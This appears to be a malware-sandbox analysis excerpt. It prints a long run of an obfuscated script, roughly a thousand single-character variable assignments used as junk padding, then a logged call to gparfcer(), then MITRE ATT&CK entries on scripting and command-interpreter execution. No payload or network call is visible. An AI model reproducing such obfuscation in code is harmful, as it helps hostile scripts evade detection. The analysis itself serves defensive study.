281	fjluvvbg = "C";
282	fjluvvbg = "E";
283	fjluvvbg = "S";
284	fjluvvbg = "c";
285	fjluvvbg = "R";
286	fjluvvbg = ":";
287	awlreqy = "p";
288	awlreqy = "Z";
289	awlreqy = "A";
290	awlreqy = "z";
291	awlreqy = "n";
292	awlreqy = "a";
293	awlreqy = "b";
294	awlreqy = "f";
295	awlreqy = "Y";
296	awlreqy = "n";
297	awlreqy = "D";
298	awlreqy = "j";
299	awlreqy = "S";
300	awlreqy = "l";
301	awlreqy = "a";
302	awlreqy = "N";
303	awlreqy = "F";
304	awlreqy = "t";
305	awlreqy = "F";
306	awlreqy = "N";
307	awlreqy = "k";
308	awlreqy = "P";
309	awlreqy = "e";
310	lgofpo = "g";
311	lgofpo = "A";
312	lgofpo = "V";
313	lgofpo = "m";
314	lgofpo = "l";
315	lgofpo = "V";
316	lgofpo = "t";
317	lgofpo = "m";
318	lgofpo = "a";
319	lgofpo = "R";
320	lgofpo = "V";
321	lgofpo = "h";
322	lgofpo = "a";
323	lgofpo = "K";
324	lgofpo = "J";
325	lgofpo = "V";
326	lgofpo = "r";
327	lgofpo = "x";
328	lgofpo = "g";
329	lgofpo = "l";
330	lgofpo = " ";
331	kzbepkmc = "U";
332	kzbepkmc = "l";
333	kzbepkmc = "R";
334	kzbepkmc = "w";
335	kzbepkmc = "U";
336	kzbepkmc = "u";
337	kzbepkmc = "I";
338	kzbepkmc = "l";
339	kzbepkmc = "V";
340	kzbepkmc = "Y";
341	kzbepkmc = "B";
342	kzbepkmc = "Z";
343	kzbepkmc = "e";
344	kzbepkmc = "y";
345	kzbepkmc = "f";
346	kzbepkmc = "m";
347	kzbepkmc = "\\";
348	pqefoppmz = "f";
349	pqefoppmz = "s";
350	pqefoppmz = "f";
351	pqefoppmz = "w";
352	pqefoppmz = "A";
353	pqefoppmz = "J";
354	pqefoppmz = "R";
355	pqefoppmz = "G";
356	pqefoppmz = "Y";
357	pqefoppmz = "d";
358	pqefoppmz = ".";
359	jrdafxncc = "x";
360	jrdafxncc = "m";
361	jrdafxncc = "n";
362	jrdafxncc = "t";
363	jrdafxncc = "Z";
364	jrdafxncc = "a";
365	jrdafxncc = "K";
366	jrdafxncc = "b";
367	jrdafxncc = "B";
368	jrdafxncc = "w";
369	jrdafxncc = "F";
370	jrdafxncc = "I";
371	jrdafxncc = "i";
372	jrdafxncc = "X";
373	jrdafxncc = "Z";
374	jrdafxncc = "Y";
375	jrdafxncc = "s";
376	jrdafxncc = "T";
377	jrdafxncc = "y";
378	jrdafxncc = "G";
379	jrdafxncc = "q";
380	jrdafxncc = "w";
381	jrdafxncc = "W";
382	jrdafxncc = "x";
383	jrdafxncc = "H";
384	jrdafxncc = "h";
385	jrdafxncc = "g";
386	jrdafxncc = "R";
387	jrdafxncc = "e";
388	jrdafxncc = "K";
389	jrdafxncc = "C";
390	jrdafxncc = "p";
391	jrdafxncc = "m";
392	jrdafxncc = "L";
393	jrdafxncc = "k";
394	jrdafxncc = "c";
395	jrdafxncc = "I";
396	zfqneepb = "B";
397	zfqneepb = "d";
398	zfqneepb = "t";
399	zfqneepb = "z";
400	zfqneepb = "R";
401	zfqneepb = "p";
402	zfqneepb = "h";
403	zfqneepb = "K";
404	zfqneepb = "V";
405	zfqneepb = "a";
406	zfqneepb = "y";
407	zfqneepb = "j";
408	zfqneepb = "w";
409	zfqneepb = "x";
410	zfqneepb = "C";
411	zfqneepb = "o";
412	zfqneepb = "W";
413	zfqneepb = "E";
414	zfqneepb = "T";
415	zfqneepb = "H";
416	zfqneepb = "h";
417	zfqneepb = "G";
418	zfqneepb = "n";
419	zfqneepb = "Q";
420	zfqneepb = "k";
421	zfqneepb = "O";
422	zfqneepb = "p";
423	zfqneepb = "j";
424	zfqneepb = "u";
425	qltrv = "a";
426	qltrv = "K";
427	qltrv = "J";
428	qltrv = "j";
429	qltrv = "D";
430	qltrv = "c";
431	qltrv = "R";
432	qltrv = "z";
433	qltrv = "e";
434	qltrv = "V";
435	qltrv = "q";
436	qltrv = "m";
437	qltrv = "N";
438	qltrv = "t";
439	qltrv = "V";
440	qltrv = "v";
441	qltrv = "P";
442	qltrv = "t";
443	qltrv = "Q";
444	qltrv = "x";
445	qltrv = "L";
446	qltrv = "d";
447	qltrv = "j";
448	qltrv = "e";
449	qltrv = "J";
450	qltrv = "P";
451	qltrv = "E";
452	qltrv = "Y";
453	qltrv = "w";
454	qltrv = "R";
455	qltrv = "L";
456	qltrv = "h";
457	qltrv = "t";
458	qltrv = "q";
459	qltrv = "X";
460	qltrv = "r";
461	qltrv = "s";
462	qltrv = "I";
463	qltrv = "z";
464	qltrv = "g";
465	qltrv = "u";
466	qltrv = "Q";
467	qltrv = "T";
468	qltrv = "K";
469	mulsxiht = "t";
470	mulsxiht = "Z";
471	mulsxiht = "o";
472	mulsxiht = "x";
473	mulsxiht = "W";
474	mulsxiht = "R";
475	mulsxiht = "y";
476	mulsxiht = "S";
477	mulsxiht = "N";
478	mulsxiht = "I";
479	mulsxiht = "E";
480	mulsxiht = "a";
481	mulsxiht = "h";
482	mulsxiht = "F";
483	mulsxiht = "V";
484	mulsxiht = "I";
485	mulsxiht = "t";
486	mulsxiht = "T";
487	mulsxiht = "O";
488	mulsxiht = "u";
489	mulsxiht = "D";
490	mulsxiht = "i";
491	mulsxiht = "v";
492	mulsxiht = "z";
493	mulsxiht = "L";
494	mulsxiht = "G";
495	mulsxiht = "s";
496	mulsxiht = "D";
497	mulsxiht = "X";
498	mulsxiht = "i";
499	mulsxiht = "T";
500	mulsxiht = "E";
501	mulsxiht = "y";
502	mulsxiht = "C";
503	mulsxiht = "z";
504	mulsxiht = "M";
505	mulsxiht = "G";
506	mulsxiht = "w";
507	mulsxiht = "u";
508	mulsxiht = "4";
509	xsobyqnlb = "I";
510	xsobyqnlb = "t";
511	xsobyqnlb = "K";
512	xsobyqnlb = "r";
513	xsobyqnlb = "D";
514	xsobyqnlb = "V";
515	xsobyqnlb = "V";
516	xsobyqnlb = "t";
517	xsobyqnlb = "F";
518	xsobyqnlb = "i";
519	xsobyqnlb = "s";
520	xsobyqnlb = "y";
521	xsobyqnlb = "h";
522	xsobyqnlb = "g";
523	xsobyqnlb = "l";
524	xsobyqnlb = "K";
525	xsobyqnlb = "t";
526	xsobyqnlb = "J";
527	xsobyqnlb = "l";
528	xsobyqnlb = "K";
529	xsobyqnlb = "O";
530	xsobyqnlb = "W";
531	thjbcysx = "l";
532	thjbcysx = "c";
533	thjbcysx = "k";
534	thjbcysx = "b";
535	thjbcysx = "S";
536	thjbcysx = "X";
537	thjbcysx = "Y";
538	thjbcysx = "g";
539	thjbcysx = "w";
540	thjbcysx = "w";
541	thjbcysx = "Z";
542	thjbcysx = "J";
543	thjbcysx = "L";
544	thjbcysx = "Z";
545	thjbcysx = "u";
546	thjbcysx = "x";
547	thjbcysx = "H";
548	thjbcysx = "D";
549	thjbcysx = "H";
550	thjbcysx = "E";
551	thjbcysx = "I";
552	thjbcysx = "W";
553	thjbcysx = "G";
554	thjbcysx = "n";
555	thjbcysx = "B";
556	thjbcysx = "I";
557	thjbcysx = "J";
558	thjbcysx = "k";
559	thjbcysx = "k";
560	thjbcysx = "-";
561	djgriwk = "O";
562	djgriwk = "c";
563	djgriwk = "J";
564	djgriwk = "E";
565	djgriwk = "Z";
566	djgriwk = "S";
567	djgriwk = "d";
568	djgriwk = "H";
569	djgriwk = "D";
570	djgriwk = "h";
571	djgriwk = "E";
572	djgriwk = "D";
573	djgriwk = "s";
574	djgriwk = "E";
575	djgriwk = "Y";
576	djgriwk = "k";
577	djgriwk = "b";
578	djgriwk = "d";
579	djgriwk = "G";
580	djgriwk = "q";
581	djgriwk = "H";
582	djgriwk = "C";
583	djgriwk = "v";
584	djgriwk = "D";
585	djgriwk = "D";
586	djgriwk = "t";
587	djgriwk = "W";
588	djgriwk = "x";
589	djgriwk = "K";
590	djgriwk = "S";
591	djgriwk = "U";
592	djgriwk = "t";
593	djgriwk = "d";
594	djgriwk = "E";
595	djgriwk = "H";
596	djgriwk = "w";
597	djgriwk = "G";
598	djgriwk = "k";
599	djgriwk = "s";
600	djgriwk = "Q";
601	djgriwk = "Z";
602	djgriwk = "P";
603	djgriwk = "F";
604	jyuxq = "O";
605	jyuxq = "c";
606	jyuxq = "R";
607	jyuxq = "W";
608	jyuxq = "B";
609	jyuxq = "u";
610	jyuxq = "J";
611	jyuxq = "B";
612	jyuxq = "t";
613	jyuxq = "J";
614	jyuxq = "Y";
615	jyuxq = "Y";
616	jyuxq = "P";
617	jyuxq = "M";
618	jyuxq = "N";
619	jyuxq = "M";
620	jyuxq = "c";
621	jyuxq = "o";
622	jyuxq = "C";
623	jyuxq = "p";
624	jyuxq = "c";
625	jyuxq = "t";
626	jyuxq = "J";
627	jyuxq = "P";
628	jyuxq = "G";
629	jyuxq = "G";
630	jyuxq = "Z";
631	jyuxq = "e";
632	jyuxq = "Z";
633	jyuxq = "Q";
634	jyuxq = "n";
635	jyuxq = "k";
636	jyuxq = "z";
637	jyuxq = "E";
638	jyuxq = "v";
639	mobzqf = "X";
640	mobzqf = "B";
641	mobzqf = "E";
642	mobzqf = "O";
643	mobzqf = "L";
644	qirqwvz = "y";
645	qirqwvz = "A";
646	qirqwvz = "R";
647	qirqwvz = "I";
648	qirqwvz = "F";
649	qirqwvz = "B";
650	qirqwvz = "%";
651	sazwthj = "E";
652	sazwthj = "X";
653	sazwthj = "s";
654	sazwthj = "x";
655	sazwthj = "x";
656	sazwthj = "K";
657	sazwthj = "z";
658	sazwthj = "w";
659	sazwthj = "B";
660	sazwthj = "d";
661	sazwthj = "L";
662	sazwthj = "p";
663	sazwthj = "v";
664	sazwthj = "G";
665	sazwthj = "a";
666	sazwthj = "R";
667	sazwthj = "l";
668	sazwthj = "i";
669	sazwthj = "B";
670	sazwthj = "L";
671	sazwthj = "a";
672	sazwthj = "B";
673	sazwthj = "W";
674	sazwthj = "M";
675	sazwthj = "c";
676	sazwthj = "2";
677	zpokia = "l";
678	zpokia = "f";
679	zpokia = "D";
680	zpokia = "i";
681	zpokia = "e";
682	zpokia = "T";
683	zpokia = "M";
684	zpokia = "r";
685	thqfraa = "F";
686	thqfraa = "z";
687	thqfraa = "8";
688	uatzslh = "G";
689	uatzslh = "U";
690	uatzslh = "b";
691	uatzslh = "Z";
692	uatzslh = "s";
693	uatzslh = "x";
694	uatzslh = "H";
695	uatzslh = "x";
696	uatzslh = "A";
697	uatzslh = "P";
698	uatzslh = "j";
699	uatzslh = "D";
700	uatzslh = "d";
701	omlqpor = "o";
702	omlqpor = "h";
703	omlqpor = "P";
704	omlqpor = "p";
705	omlqpor = "q";
706	omlqpor = "F";
707	omlqpor = "g";
708	omlqpor = "x";
709	omlqpor = "q";
710	omlqpor = "V";
711	omlqpor = "y";
712	omlqpor = "m";
713	omlqpor = "x";
714	omlqpor = "k";
715	omlqpor = "U";
716	omlqpor = "y";
717	omlqpor = "e";
718	omlqpor = "z";
719	omlqpor = "E";
720	omlqpor = "n";
721	omlqpor = "A";
722	omlqpor = "s";
723	omlqpor = "b";
724	omlqpor = "z";
725	omlqpor = "E";
726	omlqpor = "T";
727	omlqpor = "P";
728	omlqpor = "b";
729	omlqpor = "L";
730	omlqpor = "O";
731	omlqpor = "p";
732	omlqpor = "T";
733	omlqpor = "E";
734	omlqpor = "i";
735	omlqpor = "W";
736	omlqpor = "p";
737	omlqpor = "N";
738	omlqpor = "u";
739	omlqpor = "7";
740	rbjvqwfmn = "p";
741	rbjvqwfmn = "G";
742	rbjvqwfmn = "Z";
743	rbjvqwfmn = "G";
744	rbjvqwfmn = "p";
745	rbjvqwfmn = "G";
746	rbjvqwfmn = "l";
747	rbjvqwfmn = "N";
748	rbjvqwfmn = "p";
749	rbjvqwfmn = "f";
750	rbjvqwfmn = "k";
751	rbjvqwfmn = "R";
752	rbjvqwfmn = "E";
753	rbjvqwfmn = "X";
754	rbjvqwfmn = "K";
755	rbjvqwfmn = "p";
756	rbjvqwfmn = "y";
757	rbjvqwfmn = "X";
758	rbjvqwfmn = "X";
759	rbjvqwfmn = "u";
760	rbjvqwfmn = "s";
761	rbjvqwfmn = "F";
762	rbjvqwfmn = "K";
763	rbjvqwfmn = "N";
764	rbjvqwfmn = "Z";
765	rbjvqwfmn = "g";
766	rbjvqwfmn = "E";
767	rbjvqwfmn = "i";
768	rbjvqwfmn = "t";
769	rbjvqwfmn = "V";
770	rbjvqwfmn = "k";
771	rbjvqwfmn = "u";
772	rbjvqwfmn = "v";
773	rbjvqwfmn = "A";
774	rbjvqwfmn = "e";
775	rbjvqwfmn = "a";
776	rbjvqwfmn = "r";
777	rbjvqwfmn = "y";
778	rbjvqwfmn = "n";
779	rbjvqwfmn = "l";
780	rbjvqwfmn = "w";
781	rbjvqwfmn = "a";
782	rbjvqwfmn = "I";
783	rbjvqwfmn = "K";
784	rbjvqwfmn = "3";
785	fwyluc = "Q";
786	fwyluc = "t";
787	fwyluc = "N";
788	fwyluc = "N";
789	fwyluc = "t";
790	fwyluc = "O";
791	fwyluc = "Z";
792	fwyluc = "h";
793	fwyluc = "s";
794	fwyluc = "l";
795	fwyluc = "O";
796	fwyluc = "p";
797	fwyluc = "a";
798	fwyluc = "E";
799	fwyluc = "F";
800	fwyluc = "Z";
801	fwyluc = "b";
802	fwyluc = "r";
803	fwyluc = "r";
804	fwyluc = "t";
805	fwyluc = "U";
806	fwyluc = "J";
807	fwyluc = "Z";
808	fwyluc = "I";
809	fwyluc = "X";
810	fwyluc = "Q";
811	rvphnlc = "c";
812	rvphnlc = "u";
813	rvphnlc = "b";
814	rvphnlc = "P";
815	rvphnlc = "C";
816	rvphnlc = "v";
817	rvphnlc = "y";
818	rvphnlc = "j";
819	rvphnlc = "F";
820	rvphnlc = "I";
821	rvphnlc = "k";
822	rvphnlc = "i";
823	rvphnlc = "k";
824	rvphnlc = "Y";
825	rvphnlc = "N";
826	yibccja = "x";
827	yibccja = "V";
828	yibccja = "r";
829	yibccja = "W";
830	yibccja = "V";
831	yibccja = "p";
832	yibccja = "Z";
833	yibccja = "g";
834	yibccja = "L";
835	yibccja = "Z";
836	yibccja = "K";
837	yibccja = "D";
838	yibccja = "p";
839	yibccja = "f";
840	yibccja = "s";
841	yibccja = "1";
842	vanvyalm = "V";
843	vanvyalm = "E";
844	vanvyalm = "z";
845	vanvyalm = "H";
846	wosbu = "p";
847	wosbu = "V";
848	wosbu = "U";
849	wosbu = "u";
850	wosbu = "d";
851	wosbu = "G";
852	wosbu = "r";
853	wosbu = "Z";
854	wosbu = "h";
855	wosbu = "o";
856	jwyjznqqc = "J";
857	jwyjznqqc = "J";
858	jwyjznqqc = "f";
859	jwyjznqqc = "Y";
860	jwyjznqqc = "C";
861	jwyjznqqc = "x";
862	jwyjznqqc = "y";
863	jwyjznqqc = "t";
864	jwyjznqqc = "F";
865	jwyjznqqc = "w";
866	jwyjznqqc = "g";
867	jwyjznqqc = "L";
868	jwyjznqqc = "S";
869	jwyjznqqc = "D";
870	jwyjznqqc = "D";
871	jwyjznqqc = "H";
872	jwyjznqqc = "i";
873	jwyjznqqc = "Q";
874	jwyjznqqc = "s";
875	jwyjznqqc = "N";
876	jwyjznqqc = "A";
877	jwyjznqqc = "H";
878	jwyjznqqc = "G";
879	jwyjznqqc = "e";
880	jwyjznqqc = "U";
881	jwyjznqqc = "a";
882	jwyjznqqc = "z";
883	jwyjznqqc = "q";
884	jwyjznqqc = "c";
885	jwyjznqqc = "w";
886	jwyjznqqc = "O";
887	jwyjznqqc = "d";
888	jwyjznqqc = "S";
889	jwyjznqqc = "C";
890	jwyjznqqc = "V";
891	jwyjznqqc = "m";
892	jwyjznqqc = "b";
893	jwyjznqqc = "s";
894	bjjlbrw = "b";
895	bjjlbrw = "P";
896	bjjlbrw = "G";
897	bjjlbrw = "X";
898	bjjlbrw = "I";
899	bjjlbrw = "N";
900	bjjlbrw = "i";
901	bjjlbrw = "r";
902	bjjlbrw = "Y";
903	bjjlbrw = "b";
904	bjjlbrw = "B";
905	bjjlbrw = "T";
906	bjjlbrw = "e";
907	bjjlbrw = "W";
908	bjjlbrw = "a";
909	bjjlbrw = "5";
910	nvbpdb = "B";
911	nvbpdb = "q";
912	nvbpdb = "a";
913	nvbpdb = "X";
914	nvbpdb = "o";
915	nvbpdb = "9";
916	rznotzwe = "i";
917	rznotzwe = "D";
918	rznotzwe = "D";
919	rznotzwe = "F";
920	rznotzwe = "z";
921	rznotzwe = "e";
922	rznotzwe = "x";
923	rznotzwe = "o";
924	rznotzwe = "l";
925	rznotzwe = "K";
926	rznotzwe = "I";
927	rznotzwe = "C";
928	zsysdkz = "p";
929	zsysdkz = "a";
930	zsysdkz = "I";
931	zsysdkz = "h";
932	zsysdkz = "y";
933	zsysdkz = "O";
934	zsysdkz = "g";
935	zsysdkz = "S";
936	zsysdkz = "V";
937	zsysdkz = "b";
938	zsysdkz = "q";
939	zsysdkz = "L";
940	zsysdkz = "K";
941	zsysdkz = "f";
942	zsysdkz = "I";
943	zsysdkz = "y";
944	zsysdkz = "Y";
945	zsysdkz = "u";
946	zsysdkz = "D";
947	zsysdkz = "J";
948	zsysdkz = "v";
949	zsysdkz = "z";
950	zsysdkz = "n";
951	zsysdkz = "r";
952	zsysdkz = "s";
953	zsysdkz = "o";
954	zsysdkz = "b";
955	zsysdkz = "e";
956	zsysdkz = "n";
957	zsysdkz = "J";
958	zsysdkz = "X";
959	zsysdkz = "g";
960	zsysdkz = "N";
961	zsysdkz = "l";
962	zsysdkz = "X";
963	zsysdkz = "a";
964	zsysdkz = "b";
965	zsysdkz = "t";
966	dnqrgxgm = "g";
967	dnqrgxgm = "f";
968	dnqrgxgm = "x";
969	dnqrgxgm = "B";
970	dnqrgxgm = "E";
971	dnqrgxgm = "S";
972	dnqrgxgm = "p";
973	dnqrgxgm = "m";
974	dnqrgxgm = "P";
975	dnqrgxgm = "s";
976	dnqrgxgm = "P";
977	dnqrgxgm = "y";
978	dnqrgxgm = "G";
979	dnqrgxgm = "Z";
980	dnqrgxgm = "M";
981	dnqrgxgm = "d";
982	dnqrgxgm = "X";
983	dnqrgxgm = "B";
984	dnqrgxgm = "j";
985	dnqrgxgm = "w";
986	dnqrgxgm = "a";
987	bknmfe = "A";
988	bknmfe = "z";
989	bknmfe = "i";
990	bknmfe = "P";
991	bknmfe = "t";
992	bknmfe = "n";
993	bknmfe = "X";
994	bknmfe = "l";
995	bknmfe = "f";
996	bknmfe = "k";
997	bknmfe = "L";
998	bknmfe = "P";
999	bknmfe = "j";
1000	bknmfe = "r";
1001	bknmfe = "b";
1002	zuznovyc = "h";
1003	zuznovyc = "R";
1004	zuznovyc = "G";
1005	zuznovyc = "S";
1006	zuznovyc = "S";
1007	zuznovyc = "p";
1008	zuznovyc = "M";
1009	zuznovyc = "F";
1010	zuznovyc = "z";
1011	zuznovyc = "d";
1012	zuznovyc = "Q";
1013	zuznovyc = "w";
1014	zuznovyc = "z";
1015	zuznovyc = "d";
1016	zuznovyc = "V";
1017	zuznovyc = "s";
1018	zuznovyc = "k";
1019	zuznovyc = "K";
1020	zuznovyc = "y";
1021	zuznovyc = "s";
1022	zuznovyc = "l";
1023	ajyuafn = "a";
1024	ajyuafn = "E";
1025	ajyuafn = "t";
1026	ajyuafn = "y";
1027	ajyuafn = "w";
1028	ajyuafn = "Q";
1029	ajyuafn = "E";
1030	ajyuafn = "Y";
1031	ajyuafn = "&";
1032	pekuwsgp = "R";
1033	pekuwsgp = "t";
1034	pekuwsgp = "m";
1035	pekuwsgp = "G";
1036	pekuwsgp = "V";
1037	pekuwsgp = "R";
1038	pekuwsgp = "d";
1039	pekuwsgp = "Q";
1040	pekuwsgp = "T";
1041	pekuwsgp = "e";
1042	pekuwsgp = "B";
1043	pekuwsgp = "i";
1044	pekuwsgp = "y";
1045	pekuwsgp = "B";
1046	pekuwsgp = "M";
1047	pekuwsgp = "g";
1048	pekuwsgp = "P";
1049	pekuwsgp = "T";
1050	pekuwsgp = "f";
1051	pekuwsgp = "Y";
1052	pekuwsgp = "H";
1053	pekuwsgp = "p";
1054	pekuwsgp = "r";
1055	pekuwsgp = "Z";
1056	pekuwsgp = "k";
1057	pekuwsgp = "K";
1058	pekuwsgp = "B";
1059	pekuwsgp = "H";
1060	pekuwsgp = "K";
1061	pekuwsgp = "n";
1062	beqkdo = "s";
1063	beqkdo = "K";
1064	beqkdo = "C";
1065	beqkdo = "z";
1066	beqkdo = "O";
1067	beqkdo = "A";
1068	beqkdo = "r";
1069	beqkdo = "v";
1070	beqkdo = "W";
1071	beqkdo = "U";
1072	beqkdo = "P";
1073	beqkdo = "i";
1074	beqkdo = "y";
1075	beqkdo = "W";
1076	beqkdo = "r";
1077	beqkdo = "U";
1078	beqkdo = "s";
1079	beqkdo = "Z";
1080	beqkdo = "W";
1081	beqkdo = "K";
1082	beqkdo = "J";
1083	beqkdo = "q";
1084	beqkdo = "H";
1085	beqkdo = "z";
1086	beqkdo = "v";
1087	beqkdo = "l";
1088	beqkdo = "V";
1089	beqkdo = "J";
1090	beqkdo = "m";
1091	beqkdo = "p";
1092	beqkdo = "i";
1093	beqkdo = "Q";
1094	beqkdo = "Q";
1095	beqkdo = "F";
1096	beqkdo = "A";
1097	beqkdo = "K";
1098	beqkdo = "j";
1099	beqkdo = "C";
1100	beqkdo = "m";
1101	beqkdo = "g";
1102	jljvua = "W";
1103	jljvua = "X";
1104	jljvua = "T";
1105	jljvua = "o";
1106	jljvua = "U";
1107	jljvua = "i";
1108	jljvua = "W";
1109	jljvua = "S";
1110	jljvua = "P";
1111	jljvua = "V";
1112	jljvua = "A";
1113	jljvua = "n";
1114	jljvua = "B";
1115	jljvua = "A";
1116	jljvua = "w";
1117	jljvua = "i";
1118	jljvua = "s";
1119	jljvua = "e";
1120	jljvua = "t";
1121	jljvua = "P";
1122	qsystrs = "t";
1123	qsystrs = "v";
1124	qsystrs = "o";
1125	qsystrs = "x";
1126	qsystrs = "z";
1127	qsystrs = "Z";
1128	qsystrs = "o";
1129	qsystrs = "P";
1130	qsystrs = "x";
1131	qsystrs = "Z";
1132	qsystrs = "x";
1133	qsystrs = "H";
1134	qsystrs = "K";
1135	qsystrs = "H";
1136	qsystrs = "O";
1137	qsystrs = "U";
1138	qsystrs = "G";
1139	qsystrs = "H";
1140	qsystrs = "J";
1141	qsystrs = "E";
1142	qsystrs = "l";
1143	qsystrs = "J";
1144	qsystrs = "J";
1145	qsystrs = "G";
1146	qsystrs = "A";
1147	qsystrs = "p";
1148	jqpug = "h";
1149	jqpug = "P";
1150	jqpug = "u";
1151	jqpug = "b";
1152	jqpug = "W";
1153	jqpug = "V";
1154	jqpug = "F";
1155	jqpug = "n";
1156	jqpug = "k";
1157	jqpug = "v";
1158	jqpug = "n";
1159	jqpug = "O";
1160	jqpug = "P";
1161	jqpug = "S";
1162	jqpug = "T";
1163	jqpug = "r";
1164	jqpug = "c";
1165	jqpug = "a";
1166	jqpug = "V";
1167	jqpug = "X";
1168	jqpug = "F";
1169	jqpug = "A";
1170	jqpug = "X";
1171	jqpug = "Z";
1172	jqpug = "j";
1173	mzcwvep = "x";
1174	mzcwvep = "q";
1175	mzcwvep = "f";
1176	mzcwvep = "C";
1177	mzcwvep = "Z";
1178	mzcwvep = "s";
1179	mzcwvep = "M";
1180	mzcwvep = "O";
1181	mzcwvep = "s";
1182	mzcwvep = "s";
1183	mzcwvep = "B";
1184	mzcwvep = "o";
1185	mzcwvep = "J";
1186	mzcwvep = "J";
1187	mzcwvep = "V";
1188	mzcwvep = "Z";
1189	mzcwvep = "x";
1190	mzcwvep = "M";
1191	mzcwvep = "I";
1192	mzcwvep = "S";
1193	mzcwvep = "g";
1194	mzcwvep = "U";
1195	mzcwvep = "q";
1196	mzcwvep = "o";
1197	mzcwvep = "Q";
1198	mzcwvep = "r";
1199	mzcwvep = "K";
1200	mzcwvep = "l";
1201	mzcwvep = "S";
1202	mzcwvep = "q";
1203	mzcwvep = "x";
1204	mzcwvep = "C";
1205	mzcwvep = "Q";
1206	mzcwvep = "V";
1207	mzcwvep = "i";
1208	mzcwvep = "t";
1209	mzcwvep = "@";
1210	jpkowynvy = "e";
1211	jpkowynvy = "d";
1212	jpkowynvy = "j";
1213	jpkowynvy = "j";
1214	jpkowynvy = "Z";
1215	jpkowynvy = "A";
1216	jpkowynvy = "D";
1217	jpkowynvy = "c";
1218	jpkowynvy = "L";
1219	jpkowynvy = "I";
1220	jpkowynvy = "t";
1221	jpkowynvy = "Z";
1222	jpkowynvy = "e";
1223	jpkowynvy = "s";
1224	jpkowynvy = "u";
1225	jpkowynvy = "l";
1226	jpkowynvy = "W";
1227	jpkowynvy = "x";
1228	jpkowynvy = "x";
1229	jpkowynvy = "X";
1230	jpkowynvy = "G";
1231	jpkowynvy = "\"";
1232	jtbfu = "q";
1233	jtbfu = "C";
1234	jtbfu = "i";
1235	jtbfu = "k";
1236	jtbfu = "f";
1237	yozpeady = "i";
1238	yozpeady = "z";
1239	yozpeady = "h";
1240	yozpeady = "y";
1241	yozpeady = "J";
1242	yozpeady = "c";
1243	yozpeady = "Q";
1244	yozpeady = "n";
1245	yozpeady = "Q";
1246	yozpeady = "b";
1247	yozpeady = "w";
1248	yozpeady = "k";
1249	pdlxi = "F";
1250	pdlxi = "o";
1251	pdlxi = "b";
1252	pdlxi = "b";
1253	pdlxi = "A";
1254	pdlxi = "r";
1255	pdlxi = "b";
1256	pdlxi = "e";
1257	pdlxi = "R";
1258	pdlxi = "R";
1259	pdlxi = "u";
1260	pdlxi = "S";
1261	pdlxi = "Q";
1262	pdlxi = "w";
1263	pdlxi = "A";
1264	pdlxi = "h";
1265	pdlxi = "C";
1266	pdlxi = "N";
1267	pdlxi = "a";
1268	pdlxi = "Y";
1269	pdlxi = "p";
1270	pdlxi = "A";
1271	pdlxi = "k";
1272	pdlxi = "X";
1273	pdlxi = "O";
1274	pdlxi = "s";
1275	pdlxi = "a";
1276	pdlxi = "q";
1277	pdlxi = "p";
1278	pdlxi = "S";
1279	yllakvh = "S";
1280	yllakvh = "X";
1281	yllakvh = "O";
1282	yllakvh = "s";
1283	yllakvh = "n";
1284	yllakvh = "x";
1285	yllakvh = "x";
1286	yllakvh = "f";
1287	yllakvh = "o";
1288	yllakvh = "u";
1289	yllakvh = "U";
1290	yllakvh = "i";
1291	yllakvh = "y";
1292	yllakvh = "q";
1293	yllakvh = "Y";
1294	yllakvh = "l";
1295	yllakvh = "D";
1296	yllakvh = "e";
1297	yllakvh = "o";
1298	yllakvh = "m";
1299	yllakvh = "u";
1300	yllakvh = "d";
1301	yllakvh = "c";
1302	yllakvh = "d";
1303	yllakvh = "i";
1304	yllakvh = "a";
1305	yllakvh = "t";
1306	yllakvh = "R";
1307	yllakvh = "j";
1308	yllakvh = "K";
1309	yllakvh = "o";
1310	yllakvh = "Y";
1311	yllakvh = "i";
1312	yllakvh = "w";
1313	yllakvh = "Z";
1314	yllakvh = "K";
1315	yllakvh = "J";
1316	yllakvh = "V";
1317	yllakvh = "z";
1318	yllakvh = "_";
1319	nevufej = "y";
1320	nevufej = "Y";
1321	nevufej = "O";
1322	nevufej = "O";
1323	kxjfik = "m";
1324	kxjfik = "k";
1325	kxjfik = "D";
1326	kxjfik = "a";
1327	kxjfik = "s";
1328	kxjfik = "S";
1329	kxjfik = "B";
1330	kxjfik = "k";
1331	kxjfik = "X";
1332	kxjfik = "v";
1333	kxjfik = "l";
1334	kxjfik = "X";
1335	kxjfik = "I";
1336	kxjfik = "L";
1337	kxjfik = "M";
1338	kxjfik = "O";
1339	kxjfik = "r";
1340	kxjfik = "r";
1341	kxjfik = "p";
1342	kxjfik = "A";
1343	kxjfik = "f";
1344	kxjfik = "r";
1345	kxjfik = "C";
1346	kxjfik = "G";
1347	kxjfik = "Z";
1348	kxjfik = "Y";
1349	kxjfik = "z";
1350	kxjfik = "i";
1351	kxjfik = "Y";
1352	kxjfik = "B";
1353	kxjfik = "I";
1354	kxjfik = "N";
1355	kxjfik = "d";
1356	kxjfik = "e";
1357	kxjfik = "m";
1358	kxjfik = "m";
1359	kxjfik = "d";
1360	kxjfik = "p";
1361	kxjfik = "M";
1362	kxjfik = "W";
1363	kxjfik = "d";
1364	kxjfik = "m";
1365	uhulkppc = "F";
1366	uhulkppc = "S";
1367	uhulkppc = "O";
1368	uhulkppc = "k";
1369	uhulkppc = "M";
1370	uhulkppc = "p";
1371	uhulkppc = "P";
1372	uhulkppc = "g";
1373	uhulkppc = "n";
1374	uhulkppc = "B";
1375	uhulkppc = "s";
1376	uhulkppc = "F";
1377	uhulkppc = "Q";
1378	uhulkppc = "Z";
1379	uhulkppc = "H";
1380	uhulkppc = "h";
1381	uhulkppc = "H";
1382	uhulkppc = "v";
1383	uhulkppc = "I";
1384	uhulkppc = "S";
1385	uhulkppc = "6";
1386	gparfcer ( );	gparfcer() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

